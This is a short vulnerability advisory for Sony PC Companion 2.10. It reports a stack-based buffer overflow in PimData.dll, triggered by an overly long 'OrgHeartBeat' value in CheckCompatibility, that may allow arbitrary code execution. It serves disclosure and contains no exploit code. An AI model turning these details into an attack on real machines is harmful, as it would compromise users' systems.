Sony PC Companion 2.1 (CheckCompatibility()) Stack-based Unicode Buffer Overload  
  
  
Vendor: Sony Mobile Communications AB  
Product web page: http://www.sonymobile.com  
Affected version: 2.10.115 (Production 27.1, Build 830)  
2.10.108 (Production 26.1, Build 818)  
  
Summary: PC Companion is a computer application that acts as a portal  
to Sony Xperia and operator features and applications, such as phone  
software updates, management of contacts and calendar, media management  
with Media Go, and a backup and restore feature for your phone content.  
  
Desc: The vulnerability is caused due to a boundary error in PimData.dll  
when handling the value assigned to the 'OrgHeartBeat' item in the  
CheckCompatibility function and can be exploited to cause a stack-based  
buffer overflow via an overly long string which may lead to execution of  
arbitrary code on the affected machine.
